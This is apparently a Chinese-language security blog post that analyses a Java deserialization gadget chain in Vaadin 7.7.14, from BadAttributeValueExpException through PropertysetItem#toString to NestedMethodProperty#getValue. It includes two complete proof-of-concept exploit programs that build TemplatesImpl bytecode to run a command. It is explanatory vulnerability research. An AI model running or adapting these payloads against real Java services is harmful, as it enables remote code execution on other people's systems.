Vaadin反序列化链分析

4 分钟

Vaadin反序列化漏洞

在安全论坛逛的时候无意中看到的,刚好手头上还没有工作,所以就简单的看了一看,整条链子的难度非常低,所以就顺带的记录一下吧。

依赖版本

漏洞的依赖版本如下,仅限于7.7.14,因此受用性也并不是很广泛:

        <dependency>
            <groupId>com.vaadin</groupId>
            <artifactId>vaadin-server</artifactId>
            <version>7.7.14</version>
        </dependency>
        <dependency>
            <groupId>com.vaadin</groupId>
            <artifactId>vaadin-shared</artifactId>
            <version>7.7.14</version>
        </dependency>

链子分析

师傅们找漏洞触发点的时候,找到了NestedMethodProperty类中的getValue方法,这个方法存在着method.invoke达到RCE的效果,这个方法首先获取了类的instance变量以及getMethods迭代器,随后开始遍历迭代器,从迭代器中取得Method方法,触发instance对象中的Method方法。

image-20240426143907221

这里的getMethods是一个方法列表,通过它的构造函数我们可以直接为instance赋值,也就是说我们的对象类是可控制的,那么如何能够控制getMethods方法列表就是接下来的问题,下文还存在一个initialize初始化方法。

image-20240426144403590

以下是initialize方法,这个方法接受instancepropertyName(方法名),进入后将方法名以为.切割成数组,随后遍历数组。将方法名和类名分别赋值给了lastSimplePropertyNamelastClass,随后通过initGetterMethod方法获取是否有对应的get方法(这里方法的返回值可能得需要是Property这样子的数据类型),没有则报错,如果有则将字符串添加到getMethods列表中,遍历完成后,从getMethods方法列表获取到对应的get方法后,最终将对应的get方法数组赋值到了this.getMethods方法中。也就是这么方法的作用就是通过传入一个对象和字符串,获取到字符串对应的get方法名,这与rome的链子是有所类似的。

image-20240426145252970

image-20240426145310621

既然类和方法名都可控了,那么剩下的就是把链子引到readObject的出口,在PropertysetItem类的toString方法中,存在着能够触发getValue的代码,这个方法通过propertyId调用getItemProperty获取一个Property后调用getValue方法,而getItemProperty方法是从this.map中获取,这里只需要控制this-map键值对即可,从下方的addItemProperty可以传入idProperty对象,它会添加到map中,至此传入Property为上方的NestedMethodProperty即可。

image-20240426150153050

image-20240426150318064

因此整条链子简单如下:

HashMap#readObject|BadAttributeValueExpException|HashTable#readObject->PropertysetItem#toString()->NestedMethodProperty#getValue()->TeampltesImpl#getOutputProperties->RCE

payload如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.BASE64Encoder;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Vaadin {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
        setFieldValue(templates, "_name", "aiwin");
        setFieldValue(templates, "_tfactory", null);
        PropertysetItem pItem = new PropertysetItem();
        NestedMethodProperty<?> nestedMethodProperty=new NestedMethodProperty<>(templates,"outputProperties");
        pItem.addItemProperty("test",nestedMethodProperty);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setFieldValue(badAttributeValueExpException,"val",pItem);
        String result=serialize(badAttributeValueExpException);
        unserialize(result);


    }

    public static String serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void unserialize(String base) throws IOException, ClassNotFoundException {
        byte[] result=Base64.getDecoder().decode(base);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException, CannotCompileException, IOException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
    public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
        Field f=object.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(object,arg);
    }
}

image-20240426151103694

同样,还有很多因为get从而达到命令执行的方法也可以进行使用的,比如ROME反序列化链子中的getObject

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class Vaadin {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {

        CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));


        PropertysetItem pItem = new PropertysetItem();
        NestedMethodProperty<?> nestedMethodProperty=new NestedMethodProperty<>(signedObject,"Object");
        pItem.addItemProperty("test",nestedMethodProperty);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setFieldValue(badAttributeValueExpException,"val",pItem);
        String result=serialize(badAttributeValueExpException);
        unserialize(result);
    }

    public static String serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void unserialize(String base) throws IOException, ClassNotFoundException {
        byte[] result=Base64.getDecoder().decode(base);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException, CannotCompileException, IOException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
    public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
        Field f=object.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(object,arg);
    }
}

总结

Vaadin链子的原理就是在类构造函数初始化的时候能够获取到可控对象的get方法,从而导致了在触发它的getValue之中能够通过method.invoke达到命令执行的效果,这与ROME链中遍历对象的get方法是几乎一致的。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:Vaadin反序列化链分析
文章链接:https://aiwin.fun/index.php/archives/4398/
最后编辑:2024 年 4 月 26 日 17:49 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 5 + 4 =
快来做第一个评论的人吧~